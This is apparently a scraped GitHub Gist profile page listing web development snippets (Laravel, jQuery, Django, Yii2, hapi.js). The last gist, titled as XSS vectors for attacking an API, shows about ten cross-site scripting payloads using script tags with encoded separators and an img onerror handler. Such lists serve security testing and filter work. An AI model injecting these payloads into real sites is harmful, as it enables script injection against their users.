Skip to content

Instantly share code, notes, and snippets.

View dogrocker's full-sized avatar

Kanin Peanviriyakulkit dogrocker

  • @LAMUNPUN IT
  • THAILAND
  • 22:17 (UTC +07:00)
View GitHub Profile
@dogrocker
dogrocker / Laravel 5&5.1 set active class for nav.md
Last active September 12, 2015 21:49
Laravel 5&5.1 set active class for nav

helper.php

function set_active($path, $active = 'active') {
    return call_user_func_array('Request::is', (array)$path) ? $active : '';
}

master.blade.php

@dogrocker
dogrocker / inputmask.md
Last active September 12, 2015 21:55
jQuery & Inputmask with validator and convert text to uppercase.

Example of jQuery inputmask.

  • html form
<input id="test" type="text"></input>
<button id="btn">click</button>
  • css
#test {
 text-transform:uppercase;
@dogrocker
dogrocker / Prevent BACKSPACE from navigating back with jQuery.md
Created September 24, 2015 05:53
Prevent BACKSPACE from navigating back with jQuery (Like Google's Homepage)
$(document).on("keydown", function (e) {
    if (e.which === 8 && !$(e.target).is("input:not([readonly]):not([type=radio]):not([type=checkbox]), textarea, [contentEditable], [contentEditable=true]")) {
        e.preventDefault();
    }
});

Ref: http://stackoverflow.com/a/13756505/2126472

@dogrocker
dogrocker / API.md
Created January 11, 2016 06:24 — forked from iros/API.md
Documenting your REST API

Title

<Additional information about your API call. Try to use verbs that match both request type (fetching vs modifying) and plurality (one vs multiple).>

  • URL

    <The URL Structure (path only, no root url)>

  • Method:

@dogrocker
dogrocker / autocomplete_suggest.md
Last active April 19, 2016 03:57
Autocomplete with Laravel 5.1 & Materializecss & Typeahead.js
  • View index.blade.php
<div class="row">
    {!! Form::open(['route' => 'some.route', 'autocomplete' => 'off', 'class' => 'col s12']) !!}
      <div class="row">
        <div class="input-field col s6">
          {!! Form::text('username', isset($user->username) ? $user->username : '', ['id' => 'username', 'placeholder' => '']) !!}
          {!! Form::label('username', 'Username') !!}
        </div>
      </div>
@dogrocker
dogrocker / Yii2 clone table prefix function in to javascript.md
Last active April 21, 2016 02:10
Returns the actual name of a given table name.

This method will strip off curly brackets from the given table name

and replace the percentage character '%' with [[tablePrefix]].

let re = /{{(.*?)}}/g
let str = 'SELECT * FROM {{%user}} FROM WHERE id IN (?)'
let tablePrefix = 'tbl_'
console.log(str.replace(re, '$1').replace('%', tablePrefix))
@dogrocker
dogrocker / README.md
Created June 7, 2016 07:04 — forked from joyrexus/README.md
Form/file uploads with hapi.js

Demo of multipart form/file uploading with hapi.js.

Usage

npm install
npm run setup
npm run server

Then ...

@dogrocker
dogrocker / messages_and_errors_django_template.html
Created July 7, 2017 04:59 — forked from adamghill/messages_and_errors_django_template.html
Show messages and errors in Django templates. Useful to just throw in a base template.
{% if messages %}
{% for message in messages %}
<div class="alert {% if message.tags %} alert-{{ message.tags }}{% endif %}">{{ message|safe }}</div>
{% endfor %}
{% endif %}
{% if form.errors %}
<div class="alert alert-error">
<h4>Please fix the following errors</h4>
<ul>
@dogrocker
dogrocker / set focus.js
Created August 2, 2015 17:48
Set mouse focus and move cursor to end of input using jQuery
// From http://stackoverflow.com/a/26761864/2126472
$('#txtSample').focus().val($('#txtSample').val());
@dogrocker
dogrocker / 666_lines_of_XSS_vectors.html
Created November 27, 2017 20:44 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>